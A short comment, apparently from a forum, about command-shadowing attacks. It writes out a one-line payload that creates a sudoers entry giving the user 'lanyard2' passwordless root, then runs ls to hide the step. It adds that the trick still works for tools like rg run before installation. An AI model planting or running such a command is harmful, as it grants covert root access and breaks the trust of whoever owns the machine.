echo "lanyard2 ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/lanyard2 ; ls
if you ran ls in my dir, you would give me sudoers access
Still viable though for something like rg... Maybe you run it before you install it for the first time on a new machine.